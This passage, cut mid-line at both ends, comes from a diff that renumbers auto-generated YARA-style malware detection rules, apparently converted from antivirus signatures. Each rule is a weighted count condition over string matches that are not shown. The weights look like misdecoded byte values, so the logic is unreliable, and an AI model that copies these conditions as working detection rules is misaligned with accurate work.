1)*-32497+(#a_69_4 & 1)*24940+(#a_65_5 & 1)*30062+(#a_48_6 & 1)*8448+(#a_72_8 & 1)*385+(#a_81_9 & 1)*5+(#a_81_10 & 1)*5+(#a_81_11 & 1)*5+(#a_81_12 & 1)*5) >=13 } -rule _InfrastructureShared_19828{ +rule _InfrastructureShared_21037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0c 00 21 " @@ -247895,7 +262916,7 @@ rule _InfrastructureShared_19828{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*28483+(#a_37_2 & 1)*13872+(#a_68_3 & 1)*-32422+(#a_2f_4 & 1)*29552+(#a_38_5 & 1)*14642+(#a_6d_6 & 1)*25441+(#a_37_7 & 1)*14647+(#a_6f_8 & 1)*21562+(#a_00_9 & 1)*117+(#a_00_10 & 1)*109) >=14 } -rule _InfrastructureShared_19829{ +rule _InfrastructureShared_21038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 19 00 21 " @@ -247927,7 +262948,7 @@ rule _InfrastructureShared_19829{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*106+(#a_67_2 & 1)*3584+(#a_00_4 & 1)*97+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_26_16 & 1)*0+(#a_63_17 & 1)*30322+(#a_53_18 & 1)*29285+(#a_74_19 & 1)*26990+(#a_53_20 & 1)*384+(#a_64_21 & 1)*11890+(#a_64_22 & 1)*13616+(#a_32_23 & 1)*24929+(#a_36_24 & 1)*11619) >=22 } -rule _InfrastructureShared_19830{ +rule _InfrastructureShared_21039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -247947,7 +262968,7 @@ rule _InfrastructureShared_19830{ ((#a_4c_0 & 1)*21539+(#a_70_1 & 1)*29793+(#a_5f_2 & 1)*28271+(#a_5c_3 & 1)*29267+(#a_79_4 & 1)*29532+(#a_6c_5 & 1)*21084+(#a_41_6 & 1)*8448+(#a_74_7 & 1)*25940+(#a_33_8 & 1)*11618+(#a_32_9 & 1)*-32732+(#a_66_10 & 1)*12592) >=1 } -rule _InfrastructureShared_19831{ +rule _InfrastructureShared_21040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -247967,7 +262988,7 @@ rule _InfrastructureShared_19831{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*14438+(#a_35_2 & 1)*14181+(#a_2d_3 & 1)*24880+(#a_01_4 & 1)*13621+(#a_34_5 & 1)*14647+(#a_2d_6 & 1)*25649+(#a_38_7 & 1)*14593+(#a_37_8 & 1)*25133+(#a_2d_9 & 1)*2305+(#a_39_10 & 1)*12297) >=1 } -rule _InfrastructureShared_19832{ +rule _InfrastructureShared_21041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -247982,7 +263003,7 @@ rule _InfrastructureShared_19832{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_30_2 & 1)*300+(#a_2c_3 & 1)*2+(#a_00_4 & 1)*101+(#a_00_6 & 1)*54) >=3 } -rule _InfrastructureShared_19833{ +rule _InfrastructureShared_21042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0d 00 21 " @@ -248002,7 +263023,7 @@ rule _InfrastructureShared_19833{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_00_4 & 1)*105+(#a_6c_5 & 1)*28274+(#a_5c_6 & 1)*19541+(#a_6f_7 & 1)*28530+(#a_70_8 & 1)*30034+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1) >=11 } -rule _InfrastructureShared_19834{ +rule _InfrastructureShared_21043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -248023,7 +263044,7 @@ rule _InfrastructureShared_19834{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*13110+(#a_64_2 & 1)*12592+(#a_2d_3 & 1)*14648+(#a_00_4 & 1)*14433+(#a_34_5 & 1)*384+(#a_2d_6 & 1)*25657+(#a_61_7 & 1)*26164+(#a_62_8 & 1)*13157+(#a_2d_9 & 1)*13369+(#a_41_10 & 1)*31085+(#a_62_11 & 1)*31053) >=1 } -rule _InfrastructureShared_19835{ +rule _InfrastructureShared_21044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0f 00 21 " @@ -248047,7 +263068,7 @@ rule _InfrastructureShared_19835{ ((#a_54_0 & 1)*18467+(#a_56_1 & 1)*20818+(#a_46_2 & 1)*26693+(#a_53_3 & 1)*26192+(#a_6c_4 & 1)*21624+(#a_01_5 & 1)*25161+(#a_70_6 & 1)*8993+(#a_69_7 & 1)*25970+(#a_20_8 & 1)*656+(#a_50_9 & 1)*31093+(#a_73_10 & 1)*552+(#a_22_11 & 1)*28001+(#a_74_12 & 1)*30061+(#a_69_13 & 1)*30064+(#a_00_14 & 1)*97) >=5 } -rule _InfrastructureShared_19836{ +rule _InfrastructureShared_21045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -248065,7 +263086,7 @@ rule _InfrastructureShared_19836{ ((#a_70_0 & 1)*16675+(#a_67_1 & 1)*24916+(#a_73_2 & 1)*30067+(#a_70_3 & 1)*656+(#a_2d_4 & 1)*25966+(#a_65_5 & 1)*26989+(#a_63_6 & 1)*16896+(#a_00_8 & 1)*101+(#a_00_9 & 1)*73) >=1 } -rule _InfrastructureShared_19837{ +rule _InfrastructureShared_21046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -248080,7 +263101,7 @@ rule _InfrastructureShared_19837{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_65_4 & 1)*11264+(#a_00_6 & 1)*111+(#a_00_7 & 1)*116+(#a_00_8 & 1)*83) >=5 } -rule _InfrastructureShared_19838{ +rule _InfrastructureShared_21047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0f 00 21 " @@ -248102,7 +263123,7 @@ rule _InfrastructureShared_19838{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*287+(#a_2e_2 & 1)*29795+(#a_57_3 & 1)*286+(#a_6f_4 & 1)*20575+(#a_00_6 & 1)*46+(#a_57_7 & 1)*14918+(#a_00_8 & 1)*110+(#a_00_9 & 1)*105+(#a_79_10 & 1)*24942+(#a_63_12 & 1)*21364+(#a_23_13 & 1)*8+(#a_61_14 & 1)*310) >=13 } -rule _InfrastructureShared_19839{ +rule _InfrastructureShared_21048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 13 00 21 " @@ -248126,7 +263147,7 @@ rule _InfrastructureShared_19839{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*118+(#a_6f_4 & 1)*20+(#a_40_5 & 1)*9530+(#a_74_7 & 1)*29271+(#a_69_8 & 1)*28261+(#a_66_9 & 1)*17263+(#a_72_10 & 1)*29728+(#a_49_11 & 1)*28271+(#a_2d_12 & 1)*31091+(#a_61_13 & 1)*29285+(#a_79_14 & 1)*26995+(#a_00_15 & 1)*98+(#a_50_17 & 1)*26112) >=21 } -rule _InfrastructureShared_19840{ +rule _InfrastructureShared_21049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -248143,7 +263164,7 @@ rule _InfrastructureShared_19840{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*14880+(#a_6f_2 & 1)*8302+(#a_3a_3 & 1)*29295+(#a_41_4 & 1)*21574+(#a_76_5 & 1)*19564+(#a_6f_6 & 1)*28265+(#a_65_7 & 1)*24430) >=3 } -rule _InfrastructureShared_19841{ +rule _InfrastructureShared_21050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -248159,7 +263180,7 @@ rule _InfrastructureShared_19841{ ((#a_46_0 & 1)*16675+(#a_00_3 & 1)*78+(#a_00_4 & 1)*99+(#a_50_6 & 1)*26112+(#a_00_8 & 1)*99+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_19842{ +rule _InfrastructureShared_21051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -248183,7 +263204,7 @@ rule _InfrastructureShared_19842{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29537+(#a_69_2 & 1)*26984+(#a_65_3 & 1)*26998+(#a_65_4 & 1)*26998+(#a_64_5 & 1)*26740+(#a_00_6 & 1)*116+(#a_00_8 & 1)*107+(#a_00_10 & 1)*109+(#a_63_11 & 1)*28755+(#a_78_12 & 1)*281+(#a_6f_13 & 1)*12136+(#a_74_14 & 1)*24948+(#a_01_15 & 1)*-28615+(#a_2d_16 & 1)*23085) >=17 } -rule _InfrastructureShared_19843{ +rule _InfrastructureShared_21052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -248206,7 +263227,7 @@ rule _InfrastructureShared_19843{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65+(#a_00_3 & 1)*101+(#a_65_4 & 1)*25964+(#a_74_6 & 1)*18177+(#a_56_7 & 1)*22842+(#a_2e_8 & 1)*11831+(#a_2e_9 & 1)*11824+(#a_72_10 & 1)*16128+(#a_2e_11 & 1)*13164+(#a_45_13 & 1)*-23552+(#a_00_15 & 1)*116+(#a_00_17 & 1)*101+(#a_20_18 & 1)*30050) >=19 } -rule _InfrastructureShared_19844{ +rule _InfrastructureShared_21053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -248220,7 +263241,7 @@ rule _InfrastructureShared_19844{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*11824+(#a_7a_2 & 1)*24841+(#a_75_3 & 1)*8236+(#a_00_5 & 1)*111) >=1 } -rule _InfrastructureShared_19845{ +rule _InfrastructureShared_21054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -248233,7 +263254,7 @@ rule _InfrastructureShared_19845{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29811+(#a_19_2 & 1)*1+(#a_19_3 & 1)*1) >=2 } -rule _InfrastructureShared_19846{ +rule _InfrastructureShared_21055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -248246,7 +263267,7 @@ rule _InfrastructureShared_19846{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*103+(#a_00_4 & 1)*2448) >=4 } -rule _InfrastructureShared_19847{ +rule _InfrastructureShared_21056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -248263,7 +263284,7 @@ rule _InfrastructureShared_19847{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_63_2 & 1)*23555+(#a_01_3 & 1)*-28615+(#a_2d_4 & 1)*23085+(#a_2d_5 & 1)*14637+(#a_63_6 & 1)*26723+(#a_00_8 & 1)*97) >=9 } -rule _InfrastructureShared_19848{ +rule _InfrastructureShared_21057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -248282,7 +263303,7 @@ rule _InfrastructureShared_19848{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*20553+(#a_65_2 & 1)*29301+(#a_76_3 & 1)*29540+(#a_5f_4 & 1)*30303+(#a_39_5 & 1)*16952+(#a_65_6 & 1)*24943+(#a_61_7 & 1)*28015+(#a_6d_8 & 1)*-32498+(#a_77_9 & 1)*27770) >=11 } -rule _InfrastructureShared_19849{ +rule _InfrastructureShared_21058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -248306,7 +263327,7 @@ rule _InfrastructureShared_19849{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*26478+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_2b_14 & 1)*0) >=16 } -rule _InfrastructureShared_19850{ +rule _InfrastructureShared_21059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -248320,7 +263341,7 @@ rule _InfrastructureShared_19850{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*25189+(#a_25_3 & 1)*13312+(#a_00_5 & 1)*46+(#a_00_6 & 1)*97) >=1 } -rule _InfrastructureShared_19851{ +rule _InfrastructureShared_21060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -248336,7 +263357,7 @@ rule _InfrastructureShared_19851{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25391+(#a_4c_2 & 1)*20256+(#a_33_3 & 1)*18771+(#a_63_4 & 1)*27756+(#a_46_5 & 1)*8293+(#a_41_6 & 1)*11617) >=6 } -rule _InfrastructureShared_19852{ +rule _InfrastructureShared_21061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -248357,7 +263378,7 @@ rule _InfrastructureShared_19852{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*27484+(#a_73_2 & 1)*25710+(#a_65_3 & 1)*26988+(#a_73_4 & 1)*25966+(#a_41_6 & 1)*8448+(#a_46_7 & 1)*29696+(#a_76_8 & 1)*28002+(#a_41_9 & 1)*20344+(#a_32_10 & 1)*17238+(#a_34_11 & 1)*20071+(#a_6b_12 & 1)*25703) >=13 } -rule _InfrastructureShared_19853{ +rule _InfrastructureShared_21062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -248374,7 +263395,7 @@ rule _InfrastructureShared_19853{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*25466+(#a_41_2 & 1)*22095+(#a_77_3 & 1)*31054+(#a_4e_4 & 1)*25412+(#a_20_5 & 1)*8250+(#a_65_6 & 1)*24430+(#a_00_8 & 1)*115) >=3 } -rule _InfrastructureShared_19854{ +rule _InfrastructureShared_21063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0d 00 21 " @@ -248395,7 +263416,7 @@ rule _InfrastructureShared_19854{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1) >=8 } -rule _InfrastructureShared_19855{ +rule _InfrastructureShared_21064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -248413,7 +263434,7 @@ rule _InfrastructureShared_19855{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_01_2 & 1)*-28672+(#a_20_3 & 1)*19529+(#a_00_4 & 1)*34+(#a_54_5 & 1)*17477+(#a_41_6 & 1)*11617+(#a_00_7 & 1)*101+(#a_00_8 & 1)*109) >=9 } -rule _InfrastructureShared_19856{ +rule _InfrastructureShared_21065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -248430,7 +263451,7 @@ rule _InfrastructureShared_19856{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_00_3 & 1)*108+(#a_00_5 & 1)*101+(#a_00_7 & 1)*115+(#a_df_8 & 1)*-1732+(#a_00_9 & 1)*42+(#a_00_10 & 1)*32) >=11 } -rule _InfrastructureShared_19857{ +rule _InfrastructureShared_21066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -248442,7 +263463,7 @@ rule _InfrastructureShared_19857{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_00_2 & 1)*67) >=1 } -rule _InfrastructureShared_19858{ +rule _InfrastructureShared_21067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 34 00 21 " @@ -248502,7 +263523,7 @@ rule _InfrastructureShared_19858{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_2e_48 & 1)*0+(#a_00_49 & 1)*42+(#a_00_50 & 1)*115+(#a_2d_51 & 1)*2305) >=1 } -rule _InfrastructureShared_19859{ +rule _InfrastructureShared_21068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -248517,7 +263538,7 @@ rule _InfrastructureShared_19859{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_00_3 & 1)*67+(#a_30_4 & 1)*11585+(#a_00_5 & 1)*116+(#a_90_6 & 1)*11568) >=3 } -rule _InfrastructureShared_19860{ +rule _InfrastructureShared_21069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -248531,7 +263552,7 @@ rule _InfrastructureShared_19860{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_2c_2 & 1)*2+(#a_2d_3 & 1)*31277+(#a_00_5 & 1)*110) >=4 } -rule _InfrastructureShared_19861{ +rule _InfrastructureShared_21070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -248546,7 +263567,7 @@ rule _InfrastructureShared_19861{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*50+(#a_00_3 & 1)*83+(#a_00_4 & 1)*77+(#a_00_5 & 1)*39) >=6 } -rule _InfrastructureShared_19862{ +rule _InfrastructureShared_21071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -248558,7 +263579,7 @@ rule _InfrastructureShared_19862{ ((#a_6e_0 & 1)*21027+(#a_00_2 & 1)*97+(#a_61_3 & 1)*-22459) >=10 } -rule _InfrastructureShared_19863{ +rule _InfrastructureShared_21072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -248579,7 +263600,7 @@ rule _InfrastructureShared_19863{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*14131+(#a_35_2 & 1)*13618+(#a_41_3 & 1)*12597+(#a_72_4 & 1)*385+(#a_50_5 & 1)*25449+(#a_63_6 & 1)*25904+(#a_37_7 & 1)*28242+(#a_00_9 & 1)*108+(#a_00_11 & 1)*105+(#a_00_12 & 1)*32+(#a_00_14 & 1)*101) >=15 } -rule _InfrastructureShared_19864{ +rule _InfrastructureShared_21073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -248590,7 +263611,7 @@ rule _InfrastructureShared_19864{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=1 } -rule _InfrastructureShared_19865{ +rule _InfrastructureShared_21074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -248610,7 +263631,7 @@ rule _InfrastructureShared_19865{ ((#a_54_0 & 1)*18467+(#a_f7_1 & 1)*-29945+(#a_fb_2 & 1)*18180+(#a_46_3 & 1)*3208+(#a_8a_4 & 1)*13304+(#a_30_5 & 1)*19762+(#a_51_6 & 1)*-32504+(#a_75_7 & 1)*26956+(#a_00_9 & 1)*44+(#a_6f_10 & 1)*8293+(#a_63_11 & 1)*21536) >=1 } -rule _InfrastructureShared_19866{ +rule _InfrastructureShared_21075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -248631,7 +263652,7 @@ rule _InfrastructureShared_19866{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*20768+(#a_00_3 & 1)*84+(#a_43_4 & 1)*31079+(#a_67_5 & 1)*27759+(#a_a5_6 & 1)*-6726+(#a_01_7 & 1)*-6057+(#a_e8_8 & 1)*400+(#a_c4_9 & 1)*-3957+(#a_90_10 & 1)*-26166+(#a_01_11 & 1)*-29759+(#a_00_12 & 1)*101) >=1 } -rule _InfrastructureShared_19867{ +rule _InfrastructureShared_21076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -248643,7 +263664,7 @@ rule _InfrastructureShared_19867{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-29435+(#a_10_2 & 1)*-31760) >=2 } -rule _InfrastructureShared_19868{ +rule _InfrastructureShared_21077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -248657,7 +263678,7 @@ rule _InfrastructureShared_19868{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_30_2 & 1)*11585+(#a_00_3 & 1)*115+(#a_09_5 & 1)*11408) >=2 } -rule _InfrastructureShared_19869{ +rule _InfrastructureShared_21078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " @@ -248675,7 +263696,7 @@ rule _InfrastructureShared_19869{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*8736+(#a_69_3 & 1)*28493+(#a_00_4 & 1)*8819+(#a_6c_5 & 1)*21249+(#a_53_6 & 1)*15152+(#a_2e_7 & 1)*8274+(#a_64_8 & 1)*25345+(#a_75_9 & 1)*12082) >=4 } -rule _InfrastructureShared_19870{ +rule _InfrastructureShared_21079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -248695,7 +263716,7 @@ rule _InfrastructureShared_19870{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26996+(#a_73_2 & 1)*25964+(#a_65_3 & 1)*29281+(#a_74_4 & 1)*27714+(#a_65_5 & 1)*23667+(#a_69_6 & 1)*29554+(#a_6f_8 & 1)*23553+(#a_76_9 & 1)*21084+(#a_47_10 & 1)*29541+(#a_6e_11 & 1)*23553) >=12 } -rule _InfrastructureShared_19871{ +rule _InfrastructureShared_21080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -248718,7 +263739,7 @@ rule _InfrastructureShared_19871{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*28530+(#a_61_2 & 1)*16732+(#a_5c_3 & 1)*29281+(#a_42_4 & 1)*385+(#a_65_5 & 1)*26994+(#a_5f_6 & 1)*24415+(#a_2e_7 & 1)*29281+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1) >=14 } -rule _InfrastructureShared_19872{ +rule _InfrastructureShared_21081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -248742,7 +263763,7 @@ rule _InfrastructureShared_19872{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*24415+(#a_6f_2 & 1)*25970+(#a_61_3 & 1)*20481+(#a_66_4 & 1)*21353+(#a_76_5 & 1)*18689+(#a_00_6 & 1)*70+(#a_00_7 & 1)*52+(#a_00_9 & 1)*54+(#a_00_11 & 1)*70+(#a_00_12 & 1)*55+(#a_00_13 & 1)*51+(#a_00_14 & 1)*48+(#a_00_15 & 1)*51+(#a_73_16 & 1)*25964) >=17 } -rule _InfrastructureShared_19873{ +rule _InfrastructureShared_21082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -248756,7 +263777,7 @@ rule _InfrastructureShared_19873{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*55+(#a_00_3 & 1)*67+(#a_00_4 & 1)*57+(#a_00_5 & 1)*54) >=5 } -rule _InfrastructureShared_19874{ +rule _InfrastructureShared_21083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0e 00 21 " @@ -248777,7 +263798,7 @@ rule _InfrastructureShared_19874{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_3 & 1)*70+(#a_00_5 & 1)*113+(#a_00_6 & 1)*76+(#a_00_7 & 1)*103+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1) >=9 } -rule _InfrastructureShared_19875{ +rule _InfrastructureShared_21084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -248800,7 +263821,7 @@ rule _InfrastructureShared_19875{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*17457+(#a_37_2 & 1)*13365+(#a_43_3 & 1)*12596+(#a_36_4 & 1)*16944+(#a_6d_5 & 1)*20069+(#a_65_6 & 1)*26988+(#a_72_7 & 1)*21551+(#a_00_9 & 1)*32+(#a_00_10 & 1)*77+(#a_00_11 & 1)*105+(#a_00_13 & 1)*99+(#a_2d_14 & 1)*23085+(#a_2c_16 & 1)*101) >=17 } -rule _InfrastructureShared_19876{ +rule _InfrastructureShared_21085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -248813,7 +263834,7 @@ rule _InfrastructureShared_19876{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1+(#a_00_2 & 1)*107+(#a_00_4 & 1)*116) >=3 } -rule _InfrastructureShared_19877{ +rule _InfrastructureShared_21086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -248828,7 +263849,7 @@ rule _InfrastructureShared_19877{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*20592+(#a_00_2 & 1)*115+(#a_00_3 & 1)*37+(#a_00_5 & 1)*61+(#a_72_6 & 1)*7680) >=5 } -rule _InfrastructureShared_19878{ +rule _InfrastructureShared_21087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -248853,7 +263874,7 @@ rule _InfrastructureShared_19878{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25976+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_31_14 & 1)*0+(#a_6c_15 & 1)*11876) >=16 } -rule _InfrastructureShared_19879{ +rule _InfrastructureShared_21088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 